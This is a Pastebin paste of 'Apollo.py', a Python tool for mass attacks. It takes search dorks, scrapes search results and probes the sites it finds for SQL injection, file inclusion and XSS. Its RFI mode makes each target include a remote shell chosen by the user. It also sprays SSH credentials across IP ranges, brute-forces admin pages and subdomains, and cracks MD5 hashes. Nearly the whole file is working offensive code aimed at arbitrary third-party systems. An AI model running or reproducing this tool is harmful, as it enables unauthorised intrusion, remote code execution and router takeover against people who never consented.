Advertisement
Sotd

Apollo.py

May 31st, 2012
2,333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 28.48 KB | None | 0 0
  1. #!/usr/bin/env python
  2. """
  3.      Apollo.py - Python Vulnerability Scanner V1 -
  4.       Written by Sotd - twitter.com/#!/Sotd_
  5. """            
  6.  
  7. #For dorks don't include inurl: , Eg: Enter your dork: main.php?id=
  8.  
  9. import re
  10. import hashlib
  11. import Queue
  12. from random import choice
  13. import threading
  14. import time
  15. import urllib2
  16. import sys
  17. import socket
  18.  
  19. try:
  20.     import paramiko     #Router option requires the paramiko module for shh connections.
  21.     PARAMIKO_IMPORTED = True
  22. except ImportError:
  23.     PARAMIKO_IMPORTED = False
  24.  
  25.  
  26.  
  27. USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3",
  28.              "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  29.              "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  30.              "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  31.              "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  32.             ]
  33. option = ' '
  34. vuln = 0
  35. invuln = 0
  36. np = 0
  37. found = []
  38.  
  39.  
  40. class Router(threading.Thread):
  41.     """Checks for routers running ssh with given User/Pass"""
  42.     def __init__(self, queue, user, passw):
  43.         if not PARAMIKO_IMPORTED:
  44.             print 'You need paramiko.'
  45.             print 'http://www.lag.net/paramiko/'
  46.             sys.exit(1)
  47.         threading.Thread.__init__(self)    
  48.         self.queue = queue
  49.         self.user = user
  50.         self.passw = passw
  51.  
  52.     def run(self):
  53.         """Tries to connect to given Ip on port 22"""
  54.         ssh = paramiko.SSHClient()
  55.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  56.         while True:
  57.             try:
  58.                 ip_add = self.queue.get(False)
  59.  
  60.             except Queue.Empty:
  61.                 break
  62.             try:
  63.                 ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10)
  64.                 ssh.close()
  65.                 print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw)
  66.                 write = open('Routers.txt', "a+")
  67.                 write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw))
  68.                 write.close()  
  69.                 self.queue.task_done()
  70.  
  71.             except:
  72.                 print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw)
  73.                 self.queue.task_done()
  74.                
  75.            
  76. class Ip:
  77.     """Handles the Ip range creation"""
  78.     def __init__(self):
  79.         self.ip_range = []
  80.         self.start_ip = raw_input('Start ip: ')
  81.         self.end_ip = raw_input('End ip: ')
  82.         self.user = raw_input('User: ')
  83.         self.passw = raw_input('Password: ')
  84.         self.iprange()
  85.        
  86.     def iprange(self):
  87.         """Creates list of Ip's from Start_Ip to End_Ip"""
  88.         queue = Queue.Queue()
  89.         start = list(map(int, self.start_ip.split(".")))
  90.         end = list(map(int, self.end_ip.split(".")))
  91.         tmp = start
  92.        
  93.         self.ip_range.append(self.start_ip)
  94.         while tmp != end:
  95.             start[3] += 1
  96.             for i in (3, 2, 1):
  97.                 if tmp[i] == 256:
  98.                     tmp[i] = 0
  99.                     tmp[i-1] += 1
  100.             self.ip_range.append(".".join(map(str, tmp)))
  101.        
  102.         for add in self.ip_range:
  103.             queue.put(add)
  104.  
  105.         for i in range(10):
  106.             thread = Router(queue, self.user, self.passw )
  107.             thread.setDaemon(True)
  108.             thread.start()
  109.         queue.join()
  110.  
  111.  
  112. class Crawl:
  113.     """Searches for dorks and grabs results"""
  114.     def __init__(self):
  115.         if option == '4':
  116.             self.shell = str(raw_input('Shell location: '))
  117.         self.dork = raw_input('Enter your dork: ')
  118.         self.queue = Queue.Queue()
  119.         self.pages = raw_input('How many pages(Max 20): ')
  120.         self.qdork = urllib2.quote(self.dork)
  121.         self.page = 1
  122.         self.crawler()
  123.    
  124.     def crawler(self):
  125.         """Crawls Ask.com for sites and sends them to appropriate scan"""
  126.         print '\nScanning Ask...'
  127.         for i in range(int(self.pages)):
  128.             host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page)
  129.             req = urllib2.Request(host)
  130.             req.add_header('User-Agent', choice(USER_AGENT))
  131.             response = urllib2.urlopen(req)
  132.             source = response.read()
  133.             start = 0
  134.             count = 1
  135.             end = len(source)
  136.             numlinks = source.count('_t" href', start, end)
  137.  
  138.             while count < numlinks:
  139.                 start = source.find('_t" href', start, end)
  140.                 end = source.find(' onmousedown="return pk', start,  end)
  141.                 link = source[start+10:end-1].replace("amp;","")
  142.                 self.queue.put(link)
  143.                 start = end
  144.                 end = len(source)
  145.                 count = count + 1
  146.             self.page += 1
  147.  
  148.         if option == '1':
  149.             for i in range(10):
  150.                 thread = ScanClass(self.queue)
  151.                 thread.setDaemon(True)
  152.                 thread.start()
  153.             self.queue.join()
  154.  
  155.         elif option == '2':
  156.             for i in range(10):
  157.                 thread = LScanClass(self.queue)
  158.                 thread.setDaemon(True)
  159.                 thread.start()
  160.             self.queue.join()
  161.  
  162.         elif option == '3':
  163.             for i in range(10):
  164.                 thread = XScanClass(self.queue)
  165.                 thread.setDaemon(True)
  166.                 thread.start()
  167.             self.queue.join()
  168.  
  169.         elif option == '4':
  170.             for i in range(10):
  171.                 thread = RScanClass(self.queue, self.shell)
  172.                 thread.setDaemon(True)
  173.                 thread.start()
  174.             self.queue.join()
  175.  
  176.    
  177. class ScanClass(threading.Thread):
  178.     """Scans for Sql errors and ouputs to file"""
  179.     def __init__(self, queue):
  180.         threading.Thread.__init__(self)
  181.         self.queue = queue
  182.         self.schar = "'"
  183.         self.file = 'Sqli.txt'
  184.  
  185.     def run(self):
  186.         """Scans Url for Sql errors"""
  187.         while True:
  188.             try:
  189.                 site = self.queue.get(False)
  190.             except Queue.Empty:
  191.                 break
  192.             if '=' in site:
  193.                 global vuln
  194.                 global invuln
  195.                 global np
  196.                 test = site + self.schar
  197.  
  198.                 try:
  199.                     conn = urllib2.Request(test)
  200.                     conn.add_header('User-Agent', choice(USER_AGENT))
  201.                     opener = urllib2.build_opener()
  202.                     data = opener.open(conn).read()
  203.                 except:
  204.                     self.queue.task_done()
  205.                 else:
  206.                     if (re.findall("You have an error in your SQL syntax", data, re.I)):
  207.                         self.mysql(test)
  208.                         vuln += 1
  209.                     elif (re.findall('mysql_fetch', data, re.I)):
  210.                         self.mysql(test)
  211.                         vuln += 1
  212.                     elif (re.findall('JET Database Engine', data, re.I)):
  213.                         self.mssql(test)
  214.                         vuln += 1
  215.                     elif (re.findall('Microsoft OLE DB Provider for', data, re.I)):
  216.                         self.mssql(test)
  217.                         vuln += 1
  218.                     else:
  219.                         print test + ' <-- Not Vuln'
  220.                         invuln += 1
  221.             else:
  222.                 print site + ' <-- No Parameters'
  223.                 np += 1
  224.             self.queue.task_done()
  225.  
  226.  
  227.     def mysql(self, url):
  228.         """Proccesses vuln sites into text file and outputs to screen"""
  229.         read = open(self.file, "a+").read()
  230.         if url in read:
  231.             print 'Dupe: ' + url
  232.         else:
  233.             print "MySql: " + url
  234.             write = open(self.file, "a+")
  235.             write.write('[SQLI]: ' + url + "\n")
  236.             write.close()
  237.  
  238.     def mssql(self, url):
  239.         """Proccesses vuln sites into text file and outputs to screen"""
  240.         read = open(self.file).read()
  241.         if url in read:
  242.             print 'Dupe: ' + url
  243.         else:
  244.             print "MsSql: " + url
  245.             write = open ('[SQLI]: ' + self.file, "a+")
  246.             write.write(url + "\n")
  247.             write.close()  
  248.  
  249.  
  250. class LScanClass(threading.Thread):
  251.     """Scans for Lfi errors and outputs to file"""
  252.     def __init__(self, queue):
  253.         threading.Thread.__init__(self)
  254.         self.file = 'Lfi.txt'
  255.         self.queue = queue
  256.         self.lchar = '../'
  257.        
  258.     def run(self):
  259.         """Checks Url for File Inclusion errors"""
  260.         while True:
  261.             try:
  262.                 site = self.queue.get(False)
  263.             except Queue.Empty:
  264.                 break
  265.             if '=' in site:
  266.                 lsite = site.rsplit('=', 1)[0]
  267.                 if lsite[-1] != "=":
  268.                     lsite = lsite + "="
  269.                 test = lsite + self.lchar
  270.                 global vuln
  271.                 global invuln
  272.                 global np
  273.  
  274.                 try:
  275.                     conn = urllib2.Request(test)
  276.                     conn.add_header('User-Agent', choice(USER_AGENT))
  277.                     opener = urllib2.build_opener()
  278.                     data = opener.open(conn).read()
  279.  
  280.                 except:
  281.                     self.queue.task_done()
  282.  
  283.                 else:
  284.                     if (re.findall("failed to open stream: No such file or directory", data, re.I)):
  285.                         self.lfi(test)
  286.                         vuln += 1
  287.                     else:
  288.                         print test + ' <-- Not Vuln'
  289.                         invuln += 1
  290.             else:
  291.                 print site + ' <-- No Parameters'
  292.                 np += 1  
  293.             self.queue.task_done()
  294.  
  295.  
  296.     def lfi(self, url):
  297.         """Proccesses vuln sites into text file and outputs to screen"""
  298.         read = open(self.file, "a+").read()
  299.         if url in read:
  300.             print 'Dupe: ' + url
  301.         else:
  302.             print "Lfi: " + url
  303.             write = open(self.file, "a+")
  304.             write.write('[LFI]: ' + url + "\n")
  305.             write.close()      
  306.  
  307.  
  308. class XScanClass(threading.Thread):
  309.     """Scan for Xss errors and outputs to file"""
  310.     def __init__(self, queue):
  311.         threading.Thread.__init__(self)
  312.         self.queue = queue
  313.         self.xchar = """"><script>alert('xss')</script>"""
  314.         self.file = 'Xss.txt'
  315.  
  316.     def run(self):
  317.         """Checks Url for possible Xss"""
  318.         while True:
  319.             try:
  320.                 site = self.queue.get(False)
  321.             except Queue.Empty:
  322.                 break
  323.             if '=' in site:
  324.                 global vuln
  325.                 global invuln
  326.                 global np
  327.                 xsite = site.rsplit('=', 1)[0]
  328.                 if xsite[-1] != "=":
  329.                     xsite = xsite + "="
  330.                 test = xsite + self.xchar
  331.                 try:
  332.                     conn = urllib2.Request(test)
  333.                     conn.add_header('User-Agent', choice(USER_AGENT))
  334.                     opener = urllib2.build_opener()
  335.                     data = opener.open(conn).read()
  336.                 except:
  337.                     self.queue.task_done()
  338.                 else:
  339.                     if (re.findall("<script>alert('xss')</script>", data, re.I)):
  340.                         self.xss(test)
  341.                         vuln += 1
  342.                     else:
  343.                         print test + ' <-- Not Vuln'
  344.                         invuln += 1
  345.             else:
  346.                 print site + ' <-- No Parameters'
  347.                 np += 1
  348.             self.queue.task_done()
  349.  
  350.     def xss(self, url):
  351.         """Proccesses vuln sites into text file and outputs to screen"""
  352.         read = open(self.file, "a+").read()
  353.         if url in read:
  354.             print 'Dupe: ' + url
  355.         else:
  356.             print "Xss: " + url
  357.             write = open(self.file, "a+")
  358.             write.write('[XSS]: ' + url + "\n")
  359.             write.close()  
  360.  
  361.  
  362. class RScanClass(threading.Thread):
  363.     """Scans for Rfi errors and outputs to file"""
  364.     def __init__(self, queue, shell):
  365.         threading.Thread.__init__(self)
  366.         self.queue = queue
  367.         self.file = 'Rfi.txt'
  368.         self.shell = shell
  369.  
  370.     def run(self):
  371.         """Checks Url for Remote File Inclusion vulnerability"""
  372.         while True:
  373.             try:
  374.                 site = self.queue.get(False)
  375.             except Queue.Empty:
  376.                 break
  377.             if '=' in site:
  378.                 global vuln
  379.                 global invuln
  380.                 global np
  381.                 rsite = site.rsplit('=', 1)[0]
  382.                 if rsite[-1] != "=":
  383.                     rsite = rsite + "="
  384.                 link = rsite + self.shell + '?'
  385.                 try:
  386.                     conn = urllib2.Request(link)
  387.                     conn.add_header('User-Agent', choice(USER_AGENT))
  388.                     opener = urllib2.build_opener()
  389.                     data = opener.open(conn).read()
  390.                 except:
  391.                     self.queue.task_done()
  392.                 else:
  393.                     if (re.findall('uname -a', data, re.I)): #Or change to whatever is going to be in your shell for sure.
  394.                         self.rfi(link)
  395.                         vuln += 1
  396.                     else:
  397.                         print link  + ' <-- Not Vuln'
  398.                         invuln += 1
  399.             else:
  400.                 print site + ' <-- No Parameters'
  401.                 np += 1        
  402.             self.queue.task_done()
  403.    
  404.     def rfi(self, url):
  405.         """Proccesses vuln sites into text file and outputs to screen"""
  406.         read = open(self.file, "a+").read()
  407.         if url in read:
  408.             print 'Dupe: ' + url
  409.         else:
  410.             print "Rfi: " + url
  411.             write = open(self.file, "a+")
  412.             write.write('[Rfi]: ' + url + "\n")
  413.             write.close()      
  414.  
  415.  
  416. class Atest(threading.Thread):
  417.     """Checks given site for Admin Pages/Dirs"""
  418.     def __init__(self, queue):
  419.         threading.Thread.__init__(self)
  420.         self.queue = queue
  421.  
  422.     def run(self):
  423.         """Checks if Admin Page/Dir exists"""
  424.         while True:
  425.             try:
  426.                 site = self.queue.get(False)
  427.  
  428.             except Queue.Empty:
  429.                 break
  430.             try:
  431.                 conn = urllib2.Request(site)
  432.                 conn.add_header('User-Agent', choice(USER_AGENT))
  433.                 opener = urllib2.build_opener()
  434.                 opener.open(conn)
  435.                 print site
  436.                 found.append(site)
  437.                 self.queue.task_done()
  438.    
  439.             except urllib2.URLError:
  440.                 self.queue.task_done()
  441.  
  442.  
  443. def admin():
  444.     """Create queue and threads for admin page scans"""
  445.     print 'Need to include http:// and ending /\n'
  446.     site = raw_input('Site: ')
  447.     queue  = Queue.Queue()
  448.     dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/',
  449.             'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php',
  450.             'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html',
  451.             'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php',
  452.             'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp',
  453.             'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html',
  454.             'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php',
  455.             'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html',
  456.             'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
  457.             'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html',
  458.             'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html',
  459.             'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html',
  460.             'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html',
  461.             'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html',
  462.             'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html',
  463.             'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php',
  464.             'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php',
  465.             'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php',
  466.             'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php']
  467.    
  468.     for add in dirs:
  469.         test = site + add
  470.         queue.put(test)
  471.        
  472.     for i in range(20):
  473.         thread = Atest(queue)
  474.         thread.setDaemon(True)
  475.         thread.start()
  476.     queue.join()
  477.  
  478. def aprint():
  479.     """Print results of admin page scans"""
  480.     print 'Search Finished\n'
  481.     if len(found) == 0:
  482.         print 'No pages found'
  483.     else:
  484.         for site in found:
  485.             print 'Found: ' + site
  486.  
  487.        
  488. class SDtest(threading.Thread):
  489.     """Checks given Domain for Sub Domains"""
  490.     def __init__(self, queue):
  491.         threading.Thread.__init__(self)
  492.         self.queue = queue
  493.  
  494.     def run(self):
  495.         """Checks if Sub Domain responds"""
  496.         while True:
  497.             try:
  498.                 domain = self.queue.get(False)
  499.             except Queue.Empty:
  500.                 break
  501.             try:
  502.                 site = 'http://' + domain
  503.                 conn = urllib2.Request(site)
  504.                 conn.add_header('User-Agent', choice(USER_AGENT))
  505.                 opener = urllib2.build_opener()
  506.                 opener.open(conn)
  507.             except urllib2.URLError:
  508.                 self.queue.task_done()
  509.             else:
  510.                 target = socket.gethostbyname(domain)  
  511.                 print 'Found: ' + site + ' - ' + target
  512.                 self.queue.task_done()        
  513.  
  514.  
  515. def subd():
  516.     """Create queue and threads for sub domain scans"""
  517.     queue = Queue.Queue()
  518.     site = raw_input('Domain: ')
  519.     sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca",
  520.             "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro",
  521.             "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana",
  522.             "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange",
  523.             "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford",
  524.             "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d",
  525.             "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa",  "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil",
  526.             "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere",
  527.             "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research",
  528.             "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping",
  529.             "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads",
  530.             "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1",
  531.             "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"]
  532.  
  533.     for check in sub:
  534.         test = check + '.' + site
  535.         queue.put(test)
  536.        
  537.     for i in range(20):
  538.         thread = SDtest(queue)
  539.         thread.setDaemon(True)
  540.         thread.start()
  541.     queue.join()
  542.  
  543.  
  544. class Cracker(threading.Thread):
  545.     """Use a wordlist to try and brute the hash"""
  546.     def __init__(self, queue, hashm):
  547.         threading.Thread.__init__(self)
  548.         self.queue = queue
  549.         self.hashm = hashm
  550.  
  551.     def run(self):
  552.         """Hash word and check against hash"""
  553.         while True:
  554.             try:
  555.                 word = self.queue.get(False)
  556.             except Queue.Empty:
  557.                 break
  558.             tmp = hashlib.md5(word).hexdigest()
  559.             if tmp == self.hashm:
  560.                 self.result(word)  
  561.             self.queue.task_done()
  562.  
  563.     def result(self, words):
  564.         """Print result if found"""
  565.         print self.hashm + ' = ' + words
  566.  
  567. def word():
  568.     """Create queue and threads for hash crack"""
  569.     queue = Queue.Queue()
  570.     wordlist = raw_input('Wordlist: ')
  571.     hashm = raw_input('Enter Md5 hash: ')
  572.     read = open(wordlist)
  573.     for words in read:
  574.         words = words.replace("\n","")
  575.         queue.put(words)      
  576.     read.close()
  577.     for i in range(5):
  578.         thread = Cracker(queue, hashm)
  579.         thread.setDaemon(True)
  580.         thread.start()
  581.     queue.join()
  582.  
  583.  
  584. class OnlineCrack:
  585.     """Use online service to check for hash"""
  586.  
  587.     def crack(self):
  588.         """Connect and check hash"""
  589.         hashm = raw_input('Enter MD5 Hash: ')
  590.         conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm))
  591.         conn.add_header('User-Agent', choice(USER_AGENT))
  592.         opener = urllib2.build_opener()
  593.         opener.open(conn)
  594.         data = opener.open(conn).read()
  595.         if data == 'No results returned.':
  596.             print '\n- Not found or not valid -'
  597.         else:
  598.             print '\n- %s -' % (data)
  599.  
  600.  
  601. class Check:
  602.     """Check your current IP address"""
  603.  
  604.     def grab(self):
  605.         """Connect to site and grab IP"""
  606.         site = 'http://www.tracemyip.org/'
  607.         try:
  608.             conn = urllib2.Request(site)
  609.             conn.add_header('User-Agent', choice(USER_AGENT))
  610.             opener = urllib2.build_opener()
  611.             opener.open(conn)
  612.             data = opener.open(conn).read()  
  613.             start = 0
  614.             end = len(data)    
  615.             start = data.find('onClick="', start, end)
  616.             end = data.find('size=', start, end)  
  617.             ip_add = data[start+46:end-2].strip()
  618.             print '\nYour current Ip address is %s' % (ip_add)
  619.        
  620.         except urllib2.HTTPError:
  621.             print 'Error connecting'
  622.    
  623.  
  624. def output():
  625.     """Outputs dork scan results to screen"""
  626.     print '\n>> ' + str(vuln) + ' Vulnerable Sites Found'
  627.     print '>> ' + str(invuln) + ' Sites Not Vulnerable'
  628.     print '>> ' + str(np) + ' Sites Without Parameters'
  629.     if option == '1':
  630.         print '>> Output Saved To Sqli.txt\n'
  631.     elif option == '2':
  632.         print '>> Output Saved To Lfi.txt'
  633.     elif option == '3':
  634.         print '>> Output Saved To Xss.txt'
  635.     elif option == '4':
  636.         print '>> Output Saved To Rfi.txt'  
  637.  
  638.  
  639. def main():
  640.     """Outputs Menu and gets input"""
  641.     red = "\033[01;31m{0}\033[00m"
  642.     quotes = [
  643.          '\n"Three things cannot be long hidden: the sun, the moon, and the truth."\n',
  644.          '\n"Nothing holds it together except an idea which is indestructible"\n',
  645.          '\n"I am not a liberator. Liberators do not exist. The people liberate themselves."\n',
  646.          '\n"Heresy is just another word for freedom of thought".\n',
  647.          '\n"The tragedy of modern war is that the young men die fighting each other - instead of their real enemies back home in the capitals"\n',
  648.          '\n"A man is no less a slave because he is allowed to choose a new master once in a term of years."\n'
  649.         ]
  650.     print red.format('''
  651.            _____       _       _
  652.           /  ___|     | |     | |
  653.           \ `--.  ___ | |_  __| |
  654.            `--. \/ _ \| __|/ _` |
  655.           /\__/ / (_) | |_  (_| |
  656.           \____/ \___/ \__|\__,_|
  657.                    
  658. #################################################
  659. #                                    |          #
  660. #                                  \ _ /        #
  661. #           Welcome to Apollo    -= (_) =-      #                          
  662. #Options:                          /   \       #
  663. #[1] Sqli                            |          #
  664. #[2] Lfi                                        #
  665. #[3] Xss                                        #
  666. #[4] Rfi                                        #
  667. #[5] Routers                                    #
  668. #[6] Admin Page Finder                          #
  669. #[7] Sub Domain Scan                            #
  670. #[8] Dictionary MD5 cracker                     #
  671. #[9] Online MD5 cracker                         #
  672. #[10] Check IP                                  #
  673. #################################################
  674. ''')
  675.     global option
  676.     option = raw_input('Enter Option: ')
  677.  
  678.     if option:
  679.         if option == '1':
  680.             Crawl()
  681.             output()
  682.             print red.format(choice(quotes))
  683.            
  684.         elif option == '2':
  685.             Crawl()
  686.             output()
  687.             print red.format(choice(quotes))
  688.  
  689.         elif option == '3':
  690.             Crawl()
  691.             output()
  692.             print red.format(choice(quotes))
  693.  
  694.         elif option == '4':
  695.             Crawl()
  696.             output()
  697.             print red.format(choice(quotes))
  698.      
  699.         elif option == '5':
  700.             Ip()
  701.             print red.format(choice(quotes))
  702.  
  703.         elif option == '6':
  704.             admin()
  705.             aprint()
  706.             print red.format(choice(quotes))
  707.  
  708.         elif option == '7':
  709.             subd()
  710.             print red.format(choice(quotes))
  711.  
  712.         elif option == '8':
  713.             word()
  714.             print red.format(choice(quotes))  
  715.  
  716.         elif option == '9':
  717.             OnlineCrack().crack()
  718.             print red.format(choice(quotes))
  719.                  
  720.  
  721.         elif option == '10':
  722.             Check().grab()  
  723.             print red.format(choice(quotes))      
  724.  
  725.         else:
  726.             print '\nInvalid Choice\n'
  727.             time.sleep(0.5)
  728.             main()    
  729.  
  730.     else:
  731.         print '\nYou Must Enter An Option\n'
  732.         time.sleep(0.5)
  733.         main()
  734.  
  735.  
  736. if __name__ == '__main__':
  737.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement